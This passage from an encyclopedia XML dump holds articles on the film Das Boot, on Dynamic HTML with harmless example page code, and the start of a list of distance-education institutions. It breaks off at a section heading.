        <ip>83.129.4.103</ip>
      </contributor>
      <comment>/* Detailed plot */ m</comment>
      <text xml:space="preserve">{{Infobox Film |
  name         =Das Boot |
  image              =Das Boot DVD.jpg |
  writer             =[[Wolfgang Petersen]] (screenplay) &lt;br&gt; [[Lothar-Günther Buchheim]] (novel) |
  producer  =[[Günter Rohrbach]] |
  starring           =[[Jürgen Prochnow]]&lt;br&gt;[[Herbert Grönemeyer]] |
  director           =[[Wolfgang Petersen]] |
  distributor        =[[Columbia Pictures]] |
  released       =[[September 17]], [[1981]] ([[West Germany]]) |
  runtime            =216 min. ''(director's cut)''; 293 min. ''(original uncut version)''|
  language     =German |
  budget             =$14,000,000 |
  music          =[[Klaus Doldinger]] |
  awards         = |
  imdb_id            =0082096 |
}}

'''''Das Boot''''' ([[International Phonetic Alphabet|IPA]]: {{IPA|[dɑs boːt]}}, [[German (language)|German]] for ''The Boat'') is a film directed by [[Wolfgang Petersen]], adapted from a novel of the same name by [[Lothar-Günther Buchheim]]. [[Hans-Joachim Krug]], former first officer on [[Unterseeboot 219|U-219]], served as a consultant, as well as [[Heinrich Lehmann-Willenbrock]], the actual captain of the real [[Unterseeboot 96|U-96]].

The movie has a strong anti-war message. One of Petersen's stated goals was to guide the audience through a &quot;journey into madness,&quot; showing &quot;what war is all about.&quot; Petersen heightened suspense by very rarely showing any external views of the [[submarine]] unless it is running on the surface and relying on sounds to convey action outside the boat, thus showing the audience only what the crew would see. 
The original [[1981]] version cost [[Deutsche Mark|DM]] 30 million&lt;ref&gt;[http://www.dasboot.com/original.htm Official Website]&lt;/ref&gt; ($40 million in [[1997]] dollars&lt;!---US dollars? Say so!---&gt;) to make; it was at the time the most expensive film in the history of [[Cinema of Germany|German cinema]]. The director's meticulous attention to detail resulted in the most realistic submarine movie – and one of the most historically accurate war movies – ever made.

==Movie==

===Story===
The movie is the story of a single mission of one [[U-boat]] and its crew, following [[Unterseeboot 96|U-96]] from its departure from [[La Rochelle]], [[France]], through its patrols in the North [[Atlantic Ocean|Atlantic]] and an attempted penetration of the [[Mediterranean Sea|Mediterranean]], to its return to [[La Rochelle]]. It depicts both the excitement of battle and the tedium of the fruitless hunt, and portrays the men serving aboard U-boats as ordinary individuals with a desire to do their best for their comrades and their country. The story is based, loosely, on an amalgamation of the exploits of the real [[Unterseeboot 96|U-96]], a [[Type VII U-boat|Type VIIC-class U-boat]] commanded by [[Heinrich Lehmann-Willenbrock]], one of Germany's top U-boat &quot;tonnage aces&quot; during the war.

===Detailed plot===
[[Image:DasBoot(Rochelle).jpeg|233px|thumb|right| [[U-96]] departs from La Rochelle, France on a patrol.]]
{{spoilers}}
The story is told from the viewpoint of war correspondent Lt. Werner ([[Herbert Grönemeyer]]), who has signed up to write a report on the U-96. He joins its captain ([[Jürgen Prochnow]]), who is only named as &quot;der Alte&quot; (&quot;the Old Man&quot;) or &quot;Kaleu&quot; (short for his rank of [[Kapitänleutnant|Kapitänleutnant]]), and drives to [[Saint Nazaire]], where he is disturbed to see most of the crew, including the &quot;2WO&quot; (the Second Lieutenant, played by [[Martin Semmelrogge]]) drunk in a sleazy cabaret. There, he also meets the &quot;1WO&quot; (the First Lieutenant, played by Hubertus Bengsch), an ardent [[Nazi]], and the &quot;LI&quot;, the quiet Chief Engineer ([[Klaus Wennemann]]), who is tormented by the failing health of his wife back in [[Cologne]].

When the U-96 launches into the sea, Werner is in awe and takes a lot of photos of the submarine and its crew. He gets to know the rest of the crew, like Johann, the Mechanic (Erwin Leder), Chief Bosun, and some crewmen like Ullmann, Pilgrim, Frenssen, Dufte or Schwalle. He marvels when the submarine makes its first dive to 150 metres. But time passes, and he begins to realize the routine of being crammed together with 40 people in a small space with no ventilation. There is an unhealthy undercurrent of sweat, filth and boredom, fuelled by the fact that there is nobody to fight against. Werner has no one to talk to. He cannot relate to the battle-hardened Captain, the quiet LI, the Nazi 1WO, the cynical 2WO or the tough crew.

[[Image:DasBoot(Destroyer).jpeg|thumb|233px|right|[[U-96]] under attack by a British destroyer.]]

Life becomes crushingly boring when the U-96 fails to make contact with the enemy. But then, the U-96 stumbles upon a British destroyer and attempts to attack it. Their [[periscope]] is spotted, and they barely escape being rammed. The U-96 dives, but is hit by [[depth charge]]s and takes damage, most notably water leaks, every submariner's nightmare. The crew quickly patches them up and resurfaces safely.

A huge storm hits which reduces the U-96 to a bit of driftwood. Towering waves hit the submarine and send it reeling. Werner is ridiculed for his fear of the elements, but after a week of the relentless storm (i.e. almost no resting or sleeping), even the sea-hardened crew get pushed to their limits. Then, the U-96 sees a friendly German submarine. The Captain is irate, because two submarines in such close proximity mean that a huge part of the sea is unguarded, and safe for enemy ships. The misfortune of the U-96 — no kills, totally out of position, horrible weather — sends the crew's morale to a nadir.

[[Image:Dasboot043.jpeg|thumb|233px|right|[[U-96]] encounters another U-Boat in the middle of the [[North Atlantic]].]]

After 23 days, the storm finally ends. The U-96 spots a British [[Tanker (ship)|tanker]] [[convoy]] and launches a successful [[torpedo]] attack which sinks two ships. Two escorts - [[destroyer]]s - attack the submarine and use [[ASDIC]] detection. The Captain decides to dive to 230 metres, far beyond the safety threshold of 165 metres, but is still hit by the depth charges of the destroyers; the submarine buckles under this strain. The submarine takes heavy damage and is nearly crushed by the water pressure. Johann, the mechanic, panics and his [[mental health]], already somewhat precarious, breaks down. Despite heavy damage, the crew manages to patch up enough to resurface safely. They see the wreckage of the tankers and celebrate, but then everything turns into horror when they see burning British sailors dying in the sea. Fearing further torpedo attacks, the convoy had not stopped to pick up the survivors. The Captain orders to fall back and abandon the doomed sailors, unable to save them because of the possible presence of escorts.

The demoralized U-96 crew look forward to returning home to La Rochelle, but then the High Command orders that their new destination be [[La Spezia]] in [[Italy]], meaning the U-96 must cross the [[Gibraltar]] bottleneck, which is crawling with British ships. Obviously, this is a [[suicide]] mission.

The U-96 secretly meets a covert supply ship at night &amp;mdash; a ship operating under the cover of a civilian liner &amp;mdash; in neutral [[Vigo]] ([[Spain]]).

[[Image:DasBoot(Planes).jpg|thumb|233px|right|U-96 under aerial attack.]]

The Captain orders Lt. Werner and the LI to leave the ship to spare their lives, but this request is overruled by the High Command. In Gibraltar, the U-96 attempts to break through the British barrier, but it is shot at by British forces, forced to dive and - heavily damaged - starts to sink to its doom. The U-96 falls to 280 metres depth, but just before the hull breaks, the submarine lands on a sand bar on the ocean floor. Numerous hull breaches occur, water floods in with full force, and the battery cells and the water pumps are broken, but the crew manages to make repairs and to resurface just before they would have suffocated. Seriously damaged, the U-96 escapes in the safety of the dark to its base in La Rochelle.

The crew gets a heroes' welcome in La Rochelle, but during their reception, allied fighter planes bomb and strafe the facilities. Several crew members are killed, among them Johann and the 2WO. Werner finds the Captain, who sees his U-96 sinking to the dock's bottom. When the submarine disappears, the Captain dies.

===Reception===

[[Image:DasBoot(Crew).jpeg|thumb|233px|right|A light-hearted moment among the crew.]]

The action-packed, psychologically deep and emotionally draining movie drew high critical acclaim and is seen as the [[Films that have been considered the greatest ever|premier German movie]], along with [[Metropolis (movie)|''Metropolis'']] by [[Fritz Lang]] and ''[[Der blaue Engel]]'' with [[Marlene Dietrich]]. It is regarded as being virtually peerless in the [[subgenre]] of submarine movies, rivalled only by ''[[The Hunt for Red October]]'' (which arguably focuses more on action than on authenticity).

When the film premiered in Germany and in the US, audience members cheered at the pre-title card that stated that thousands of U-boat crews never returned from their mission to starve out England by disrupting shipping lanes in the North Atlantic. Reportedly, audience opinion changed dramatically by the end of the film after they had seen the horrors of living on a U-boat during WWII.

===Criticism===
[[Image:Dasboot056.jpeg|thumb|233px|right|U-96 in the Straits of Gibraltar.]]
*Critics remarked that the roles of [[Nazism]], [[Hitler]] and of the [[Holocaust]] were underplayed. In the movie, there is only one ardent Nazi in the crew of 40, namely the First Lieutenant (referred to comically in one scene as ''Unser [[Hitlerjugendführer]]'' or &quot;Our Hitler Youth Leader&quot;), and the rest of the crew remains either indifferent or openly anti-Nazi (the Captain). Some have stated that this scenario is quite unlikely as most U-Boat crews were selected from those naval service members with strong belief in the Nazi Party. At this stage in the war, morale was high and this degree of scepticism would have been unlikely.
*Buchheim himself was a U-boat correspondent. He has stated that following film scenes are unrealistic:
**In the film, an unidentified member of the engine-room crew throws an oil-stained towel into Lt. Werner's face to drive him out of the engine room. Being a Lieutenant, Werner is a person who commands special respect. In reality, the culprit would have been court-martialed and received a hefty sentence.
**After surviving a bombing, the crew celebrate loudly in their bunks, even with a sailor dressing up as a woman in a red-lit room. Buchheim has stated that this scene is flat out unrealistic.
**During patrols, Buchheim stated that the crew is behaving far too loudly. Especially the celebrations after getting a torpedo hit were ridiculed by him as unprofessional.

===Ethnic German accents===
The movie features characters who speak German with a regional [[dialect]]. Johann speaks with a strong accent from [[Austria]], Pilgrim talks with the dialect of [[Hamburg]] and Schwalle with the one found in [[Berlin]]. In addition, one sailor speaks with a heavy [[Bavarian]] dialect (the one who gets his crotch examined for [[lice]]).

===Music===
The characteristic lead melody of the soundtrack, written by composer [[Klaus Doldinger]], took on a life of its own after German [[rave]] producer [[Alex Christensen]] created a remixed rave-version under the title [[U96]] in [[1991]]. The song ''Das Boot'' later became an international hit.

{{Listen|filename=Klaus Doldinger - Das Boot excerpt.ogg|title=Klaus Doldinger - Das Boot excerpt|description=An excerpt from Klaus Doldinger's theme music to ''Das Boot''}}

==Versions==
[[Image:DasBoot(Depth Charge).jpeg|233px|right|thumb|DEPTH CHARGES!]]

===Versions (contents)===
Several versions of the film and video releases have been made:
The first version to be released was the theatrical 150-minute (2 1/2-hour) cut, released to theatres in [[Germany]] in [[1981]], and in the [[United States]] in [[1982]]. It was nominated for six [[Academy Award]]s ([[Academy Award for Best Cinematography|Cinematography]], [[Academy Award for Directing|Directing]], [[Academy Award for Film Editing|Film Editing]], [[Academy Award for Sound|Sound]], [[Academy Award for Sound Editing|Sound Effects Editing]], and [[Academy Award for Writing Adapted Screenplay|Writing]]). Much more footage had been shot for the film than was shown in the theatrical version, and in [[1985]], a TV miniseries of ''Das Boot'' was shown on German television. Aired in three parts, it had a runtime of almost five hours. Petersen then oversaw the editing of six hours of film, from which was distilled ''Das Boot: The Director's Cut'', 216 minutes long (3 hours, 36 minutes), released in [[1997]], which combines the action sequences seen in the feature-length version with character-development scenes contained in the mini-series. In 2003, the [[Starz|Starz/Encore]] movie networks finally premiered the complete, uncut miniseries version on U.S. television. This version, running 293 minutes (4 hours, 53 minutes), without commercials, was released to DVD on [[June 1]], [[2004]], as ''Das Boot: The Original Uncut Version''.

=== Versions (dubbings and subtitles) ===
[[Image:DasBoot(Chief).jpeg|thumb|233px|right|Klaus Wennemann as the Chief Engineer.]]

* In the U.S. DVD there are no German subtitles. English-speaking students of German wishing to read the German while listening in German will need to obtain an appropriate European region code DVD (such as the French version &quot;le bateau&quot;, with subtitles and soundtracks including American English) and a multiregion DVD player with PAL to NTSC conversion.
* Cabaret scene: In the U.S. DVD there is a minor background comment during the drunk hero captain's speech (&quot;He'd better watch his mouth!&quot;) that is not subtitled in English with the German sound track but which is heard in the English dubbing.
* All of the main actors speak fluent English as well as German; when the film was dubbed into English, each actor recorded his own part. (The German version is actually dubbed as well; the film itself was shot &quot;silent&quot;, since in any case the dialogue spoken on-set would have been drowned out by background noise during filming.)

==Special effects==

===Sets and models===
[[Image:DasBoot(Captain).jpeg|thumb|233px|right|Jürgen Prochnow as the Captain, stalking a British convoy.]]
Several different sets were used. Two full-size mock-ups of a [[Type VII U-boat|Type VIIC boat]] were built, one representing the portion above water for use in outdoor scenes, and the other a cylindrical tube on a motion mount for the interior scenes. The mock-ups were built according to U-boat plans found in [[Chicago, Illinois|Chicago]]'s [[Museum of Science and Industry in Chicago|Museum of Science and Industry]]. 

The outdoor mock-up was basically a shell propelled with a small engine, and stationed in [[La Rochelle]], [[France]] and has a history of its own. One morning the production crew walked out to where they kept it afloat and found it missing. Someone had forgotten to inform the crew that an American filmmaker had rented the mock-up for his own movie shooting in the area. This filmmaker was [[Steven Spielberg]] and the movie he was shooting was ''[[Raiders of the Lost Ark]]''. A few weeks later, during production, the mock-up cracked in a storm and sank, was recovered and patched to stand in for the final scenes. 

A mock-up of a conning tower was placed in a water tank at the Bavaria Studios in [[Munich]] for outdoor scenes not requiring a full view of the boat's exterior. When filming on the outdoor mockup or the conning tower, jets of cold water were hosed over the actors to simulate the breaking ocean waves. At one point during this filming actor Jan Fedder lost his grip on the railing and was washed off the model, breaking a few ribs in the fall, one of the other actors instantly shouted &quot;Man Overboard&quot;. At first Petersen didn't realize it was an accident but enthusiastically yelled &quot;Good idea, Jan. We'll do that one more time!&quot;. Peterson still kept the scene and rewrote Jan Fedder's part in the film, so that his character spent the rest of the movie in bed. The actor actually had to be brought back and forth from the hospital every day because of concussion. The painful expression on his face is real and not acted. A 1/3 sized full hull operating model was used for underwater shots and some surface running shots, in particular the meeting in stormy seas with another U-boat.

The interior U-boat mock-up was mounted five metres off the floor and was shaken, rocked, and tilted up to 45 degrees by means of a hydraulic apparatus, and was vigorously shaken to simulate [[depth charge]] attacks. Petersen was admittedly obsessive about the structural detail of the U-boat set, remarking that &quot;every screw&quot; in the set was an authentic facsimile of the kind used in a [[World War II]] [[U-boat]].

===Special camera===
[[Image:DasBoot(Int).jpg|thumb|right|233px|Pilgrim and Frenssen tell dirty jokes while LT Werner (Left) listens.]]

Most of the interior shots were filmed using a hand-held [[Arriflex]] of cinematographer [[Jost Vacano]]'s design to convey the claustrophobic atmosphere of the boat. It had a gyroscope to provide stability, a reinvention of the [[Steadicam]] on a smaller scale, so that it could be carried throughout the interior of the mock-up. Vacano wore full-body padding to minimize injury as he ran and the mock-up was rocked and shaken. Throughout the filming, the actors were forbidden to go out into the sunlight, to create the pallor of men who seldom saw the sun during their missions. The actors went through intensive training to learn how to move quickly through the narrow confines of the vessel.

===Production===
Production of ''Das Boot'' took three years ([[1979]]-[[1981]]). Most of the filming was done in one year; to make the appearance of the actors as realistic as possible, scenes were filmed in sequence over the course of the year. This ensured natural growth of beards and hair, increasing skin pallor, and signs of strain on the actors, who had, just like real U-boat men, spent many months in a cramped, unhealthy atmosphere. 

Production for this movie originally began in [[1976]]. Several American directors were considered, and the ''Kaleu'' (''Kapitänleutnant'') was to be played by [[Robert Redford]]. Disagreements sprang up among various parties and the project was shelved. Fans of the movie would add the word &quot;fortunately&quot; to that statement.

== Cast ==
[[Image:DasBoot(Officers).jpeg|thumb|233px|right|A quiet moment in the Officer's Mess.
From Left to Right, the Captain (Jürgen Prochnow), the Chief Engineer (Klaus Wennemann), and Lieutenant Werner (Herbert Grönemeyer).]]

{| class=&quot;wikitable&quot;
! Actor
! Role
! Description
|-
| [[Jürgen Prochnow|Jürgen Prochnow]]
| Captain
| An old, battle-hardened sea veteran. The surrogate father to his mostly young crewmen, who all look up to him.
|-
| [[Herbert Grönemeyer|Herbert Grönemeyer]]
| Lieutenant Werner
| The somewhat naïve, but honest main narrator.
|-
| Klaus Wennemann
| Chief Engineer
| A quiet and well-respected man. At age 27, the oldest crewmember besides the Captain. Tormented by the uncertain fate of his family.
|-
| Hubertus Bengsch
| 1st Lieutenant
| An ardent Nazi and a staunch believer in the Wehrmacht propaganda. Has a condescending attitude. His wife died in the war.
|-
| [[Martin Semmelrogge]]
| 2nd Lieutenant
| A vulgar, crude officer, who hides a vulnerable side behind his macho image.
|-
| Bernd Tauber
| Chief Quartermaster Kriechbaum
| The sailor who gets wounded in the airplane attack at Gibraltar.
|-
| Erwin Leder
| Johann
| The mechanic, obsessed with a near-fetish love for the U96 engine. Loses his sanity in a depth charge attack. Speaks with [[Austria]]n accent.
|-
| Martin May
| Ullmann
| Young sailor who has a pregnant [[French people|French]] fiancée (which is considered an atrocity by the French).
|-
| [[Heinz Hoenig]]
| Hinrich
| The sonar controller. He is the only one to whom the Captain sometimes relates.
|-
| [[Uwe Ochsenknecht]]
| Chief Bosun
| The severe chief. Lobs an oily towel into Werner's face when he interferes. '''No, he most certainly does not, he gets mad and yells &quot;Who did that!!&quot;...'''
|-
| Claude-Oliver Rudolph
| Ario
| The burly sailor who tells that Dufte is getting married and throws around pictures of Dufte's fiancee to laugh at them both.
|-
| Jan Fedder
| Pilgrim
| Another sailor, gets almost swept off the submarine, breaks several ribs and is hospitalized for a while. Speaks with a [[Hamburg]] accent.
|-
| Ralf Richter
| Frenssen
| Pilgrim's best friend. Pilgrim and Frenssen love to trade dirty jokes.
|-
| Joachim Bernhard
| Preacher
| Religious sailor who is constantly reading the Bible.
|-
| Oliver Stritzel
| Schwalle
| The blond sailor who speaks with a [[Berlin]] accent.
|-
| Lutz Schnell
| Dufte
| The sailor who gets jeered at because he is getting married.
|}

===''Das Boot'' as a career boost===
Several of those involved with &quot;Das Boot&quot; went on to even greater success:

*[[Wolfgang Petersen]] established himself as a long-standing fixture as a [[Hollywood]] director and producer.
*[[Jürgen Prochnow]] became one of the few German actors to establish themselves in Hollywood.
*[[Herbert Grönemeyer]] became one of the most popular German singers.
*[[Klaus Wennemann]] became lead in a successful German detective series, ''Der Fahnder'' (the Investigator) 
*[[Heinz Hoenig]] became one of the most sought-after character faces in German movies.
*[[Jan Fedder]] became lead in a successful light-hearted German police series, &quot;Großstadtrevier&quot;
*[[Uwe Ochsenknecht]], [[Ralf Richter]] and [[Claude-Olivier Rudolph]] had successful German movie careers, too.

==References==
&lt;references/&gt;

==See also==
*[[Heinrich Lehmann-Willenbrock]]
*[[Aces of the Deep]]
*[[Submarine film]]

==External links==
{{wikiquote}}

*[http://www.dasboot.com http://www.dasboot.com (Movie Web site)]
*{{imdb title|id=0082096|title=Das Boot}}
*{{rogerebert|id=19970404/REVIEWS/704040303/1023|title=Das Boot}}
*[http://www.moviemistakes.com/film2143 Das Boot] at Moviemistakes.com
*[http://www.cosmopolis.ch/english/cosmo8/boot.htm Wolfgang Petersen's Das Boot reviewed by cosmopolis.ch]

[[Category:1981 films]]
[[Category:German films]]
[[Category:Military television series]]
[[Category:World War II films]]
[[Category:U-boat fiction]]
[[Category:Films based on fiction books]]
[[Category:Films directed by Wolfgang Petersen]]
[[Category:World War II television programmes]]
[[Category:Television miniseries]]


[[de:Das Boot]]
[[es:El submarino (Das Boot)]]
[[fr:Le Bateau]]
[[nl:Das Boot]]
[[ja:U・ボート (映画)]]
[[no:Das Boot]]
[[sv:Das Boot]]</text>
    </revision>
  </page>
  <page>
    <title>DHTML</title>
    <id>8995</id>
    <revision>
      <id>15906923</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Dynamic_HTML]]
</text>
    </revision>
  </page>
  <page>
    <title>Dynamic HTML</title>
    <id>8996</id>
    <revision>
      <id>41517894</id>
      <timestamp>2006-02-27T22:15:33Z</timestamp>
      <contributor>
        <ip>24.6.168.72</ip>
      </contributor>
      <text xml:space="preserve">{{Html series}}

'''Dynamic HTML''' or '''DHTML''' is a method of creating interactive [[web site]]s by using a combination of static [[markup language]] [[HTML]], a [[client-side scripting]] language (such as [[JavaScript]]), the presentation definition language [[Cascading Style Sheets]], and the [[Document Object Model]].

It may be used to create applications in a [[web browser]]: for example to ease navigation, to create interactive [[form (document)|form]]s or to create interactive exercises to use in [[e-learning]] applications such as [[WebCT]].  Because it can be used to dynamically move elements around the screen, DHTML can also be used as a tool for creating browser based videogames.

DHTML applications that are entirely self-contained in the browser, without server-side support such as a database, are sometimes referred to as [[Single Page Application]]s, or ''SPA''.
See [[Comparison of layout engines (DOM)]] for a detailed list of the [[Application programming interface|API]] available in each browser to use in DHTML applications.

Competing techniques include [[Macromedia Flash]] for animation and [[Java applet|applets]].

Some disadvantages of DHTML are that it is difficult to develop and [[debug]] due to varying degrees of support among web browsers of the aforementioned technologies and that the variety of screen sizes means the end look can only be fine-tuned on a limited number of browser and screen-size combinations. Development for recent browsers, such as [[Internet Explorer]] 5.0+, [[Netscape (web browser)|Netscape]] 6.0+, and [[Opera (web browser)|Opera]] 7.0+, is aided by a shared [[Document Object Model]].

== Structure of a web page ==
Typically a web page using DHTML is set up the following way
&lt;pre&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;
   &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;
&lt;html&gt;

&lt;head&gt;
&lt;title&gt;DHTML example&lt;/title&gt;
&lt;script type=&quot;text/javascript&quot;&gt; 
   function init() {
    myObj = document.getElementById(&quot;navigation&quot;);
    // .... more code 
   }
   window.onload=init;
  &lt;/script&gt;
&lt;/head&gt;

&lt;body&gt;

&lt;div id=&quot;navigation&quot;&gt;
&lt;/div&gt;

&lt;/body&gt;

&lt;/html&gt;
&lt;/pre&gt;

Often the JavaScript code is stored in an external file, this is done by [[Linker|linking]] the file which contains the JavaScript. This is helpful when several pages use the same script:
&lt;pre&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;myjavascript.js&quot;&gt;&lt;/script&gt;
&lt;/pre&gt;

See also ''[[DOM Events]]''

== Example: Displaying an additional block of text ==
The following code illustrates an often used function. An additional part of a web page will only be displayed if the user requests it. In [[e-learning]], such a function could be used to display additional hints or an answer the student initially should not see.

&lt;pre&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;
   &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;
&lt;html&gt;

&lt;head&gt;
&lt;title&gt;Test&lt;/title&gt;
&lt;style type=&quot;text/css&quot;&gt;
   h2 {background-color: lightblue; width: 100%}
   a {font-size: larger; background-color: goldenrod} 
   a:hover {background-color: gold}
   #example1 {display: none; margin: 3%; padding: 4%; background-color: limegreen}
  &lt;/style&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
  &lt;!--
   function changeDisplayState (id) {
    e=document.getElementById(id);
    if (e.style.display == 'none' || e.style.display ==&quot;&quot;) {
     e.style.display = 'block';
     showhide.innerHTML = 'Hide example';
    } else {
     e.style.display = 'none';
     showhide.innerHTML = 'Show example';
    }
   }
  //--&gt;
  &lt;/script&gt;
&lt;/head&gt;

&lt;body&gt;

&lt;h2&gt;How to use a DOM function&lt;/h2&gt;
&lt;p&gt;&lt;a id=&quot;showhide&quot; href=&quot;javascript:changeDisplayState('example1')&quot;&gt;Show example&lt;/a&gt;&lt;/p&gt;
&lt;div id=&quot;example1&quot;&gt;
  This is the example. (Additional information, which is only displayed on request) 
  ..............&lt;/div&gt;
&lt;p&gt;The general text continues ....&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;

&lt;/body&gt;

&lt;/html&gt;
&lt;/pre&gt;

== A Presentation Application ==
[[S5 file format|S5]] is a presentation application of DHTML which works in modern browsers (IE 6 included): A single XHTML file contains a slideshow which may be viewed in projector mode slide by slide (browser window set to full screen), as a single web document or printed out as a handout. With DHTML a navigation is built dynamically. Simple animations are possible. Formatting is done with CSS.

== External links ==
* [http://www.quirksmode.org/ QuirksMode], a comprehensive site with test examples and instructions on how to write DHTML code which runs on several browsers
* [http://www.dhtmlcentral.com DHTML Central], a web site with a DHTML library and several javascript components for menus, trees, and a library for simplifying cross-browser DHTML programming.
*[http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/dhtml_reference_entry.asp HTML &amp; DHTML Reference on [[MSDN]]]

[[Category: HTML]]

[[de:Dynamic HTML]]
[[es:HTML dinámico]]
[[fr:HTML dynamique]]
[[ko:DHTML]]
[[it:DHTML]]
[[he:DHTML]]
[[nl:Dynamic HTML]]
[[ja:ダイナミックHTML]]
[[pl:Dynamiczny HTML]]
[[pt:DHTML]]
[[sv:DHTML]]
[[vi:HTML động]]
[[zh:DHTML]]</text>
    </revision>
  </page>
  <page>
    <title>Distance education</title>
    <id>8997</id>
    <revision>
      <id>42024046</id>
      <timestamp>2006-03-03T07:42:57Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/211.30.192.174|211.30.192.174]] ([[User talk:211.30.192.174|talk]]) to last version by Kitty1983</comment>
      <text xml:space="preserve">'''Distance education''' or distance learning is a field of education that focuses on the pedagogy/andragogy, technology, and instructional systems design that is effectively incorporated in delivering education to students who are not physically &quot;on site&quot; to receive their education. Instead, teachers and students may communicate asynchronously (at times of their own choosing) by exchanging printed or electronic media, or through technology that allows them to communicate in real time (synchronously). Distance education courses that require a physical on-site presence for any reason including the taking of examinations is considered to be a hybrid or blended course or program.

==Types of distance education courses:==
* Correspondence conducted through regular mail
* Internet conducted either synchronously or asynchronously
* Telecourse/Broadcast where content is delivered via radio or television
* CD-ROM where the student interacts with computer content stored on a CD-ROM
* PocketPC/Mobile Learning where the student accesses course content stored on a mobile device or through a wireless server

==Origins==
One of the oldest distance education universities is the [[University of South Africa]], which has been offering DE courses since 1946. The largest distance education university in the [[United Kingdom]] is the ''[[Open University]]'' founded 1969. In [[Germany]] the [[FernUniversität in Hagen]] was founded 1974.  There are now many similar institutions around the world and these are listed below.

There are many private and public, non-profit and for-profit institutions offering courses and degree programs through distance education.  Levels of [[school accreditation|accreditation]] vary; some institutions offering distance education in the [[United States]] have received little outside oversight, and some may be fraudulent [[diploma mills]].  In many other jurisdictions, an institution may not use the term &quot;University&quot; without accreditation and authorisation, normally by the national government.

==Major institutions offering distance learning programs==
'''''Caution''' Some organisations describing themselves as Distance Education institutions are nothing of the sort and their actions may bring the sector into disrepute.  Refer to [[Diploma mills]] and [[List of unaccredited institutions of higher learning]]. ''

=== Azerbaijan ===
Go to www.azrena.org

=== Australia ===

* [[Correspondence school]]s are run by state education departments for students in remote areas, where they are too far away to attend any school.  Students and teachers use the postal system to communicate.
** [[Queensland]] - [[Department of Distance Education]]

* [[School of the Air]] is a system similar to [[Correspondence school]]s but use radios developed in the [[1920s]] for the [[RFDS]] to link students and teachers.


Universities which have comprehensive distance education programs:

[[Edith Cowan University]]

[[University of New England, Australia]] 

[[Deakin University]]

[[Monash University]]

[[Charles Sturt University]]

[[Macquarie University]]

=== Belgium ===
* [[Pôle Universitaire Euclide / Euclid University ]]
* [[Thierry Graduate School of Leadership]]



===Brazil===
* [http://www.claretiano.edu.br/ Centro Universitário Claretiano]

===Canada===
* [[Athabasca University]]
* [[Royal Roads University]]
* [[Simon Fraser University]]
* [[Télé-université]] (part of [[UQAM]])
* [[Thompson Rivers University]]
* [[University of Waterloo]]
* [[Ryerson University]]
* [[Alberta Distance Learning Centre]]
* [[Canadian Virtual University]]

===China===
{{expand list}}
*[[Open University of Hong Kong|The Open University of Hong Kong]] (OUHK)
*[[School of Professional and Continuing Education]], [[The University of Hong Kong]] (HKU SPACE)

===France===
* [[Centre National d'Enseignement à Distance]] (CNED) 

===Germany===
* [[FernUniversität in Hagen]]
* [[AKAD Privathochschulen]]
* [[Diploma Europäische Hochschulen]]
* [[Europäische Fernhochschule Hamburg]]
* [[Fernfachhochschule Riedlingen]]
* [[Hamburger Fernhochschule]]
* [[Private Fernfachhochschule Darmstadt]]

===India===
* [[IGNOU|Indira Gandhi National Open University]]
*[[School of Distance Education, Andhra University]]
* [[Sikkim Manipal University]]
* [[Amrita Vishwa Vidyapeetham]]

===Iran===
* [[Payame Noor University]]
rvd university.

===Ireland===
* [[Kilroy's College]]

===Israel===
* [[Open University of Israel]]

===Mexico===
* [http://www.ruv.itesm.mx/portal/principal/qs/english/ Universidad Virtual of Tecnológico de Monterrey]

===The Netherlands===
* [[Open University (Netherlands)]]

=== New Zealand ===

* [[Massey University]]

===Philippines===
* [[University of the Philippines Open University]]
* [[Pamantasan ng Lungsod ng Maynila]]

===Portugal===
* [[Universidade Aberta]]

===Russia===
* [[MIM LINK]] (The [[Open University]] (UK) partner in [[CIS]])

===Singapore===
* [[Singapore Institute of Management]]-[[Open University Centre]] (to be accorded [[university]] status as [[SIM University]] in [[2006]])

===South Africa===
* [[University of South Africa]]


===Spain===
*[http://www.uned.es/ Universidad Nacional de Educación a Distancia]
* [[Universitat Oberta de Catalunya]]

===Switzerland===
* [[AKAD Hochschule für Berufstätige]]
* [[Fernfachhochschule Schweiz]]
* (see also &quot;International&quot; below).

===Thailand===
* [[Sukhothai Thammathirat Open University]]

===Tunisia===
* [http://www.uvt.rnu.tn Virtual University of Tunis]

===United Kingdom===
* [[Heriot-Watt University]]
* [[Open College of the Arts]]
* The [[Open University]] (also provides the [[OUVS]] verification services for degrees awarded by other institutions such as the [[Maryvale Institute]])
* [[University of London]]
* [[University of Wales, Lampeter]] (including certain courses offered by [[Midlands Bible College]])
* [[International Correspondence Schools]]
* The [[International Extension College]]
* The [[National Extension College]]
* [[Napier University]]
* The [[University of Glamorgan]]

===United States===
* [[Baker College]]
* [[Breyer State University]]
* [[California State University, Dominguez Hills]]
* [[Capella University]]
* [[Cleveland State University]]
* [[Charter Oak State College]]
* [[City College of San Francisco]]
* [[Coastline Community College]]
* [[Colorado Technical University]]
* [[Empire State College]]
* [[Excelsior College]]
* [[Goddard College]]
* [[Harvard Extension School]]
* [[Heritage College &amp; Heritage Institute]]
* [[Imperial Valley College]]
* [[Kennedy-Western University]]
* [[Northern Arizona University]]
* [[Pacific Oaks College]]
* [[Saint Joseph's College of Maine]]
* [[Saint Leo University]]
* [[Strayer University]]
* [[Thomas Edison State College]]
* [[Union Institute &amp; University]]
* [[University of Alaska Fairbanks]]
* [[University of Phoenix]]
* [[University of Maryland University College]]
* [[University of North Dakota]]
* [[Utah State University]]
* [[Norwich University]]

===International===
* [[European Graduate School]] in Switzerland and the United States.
* [[Euclid University]] in Belgium, Central Africa, Pakistan and the United States.
* [[Universitas 21 Global]], an online university affiliated to the [[Universitas 21]] alliance

==Methods==
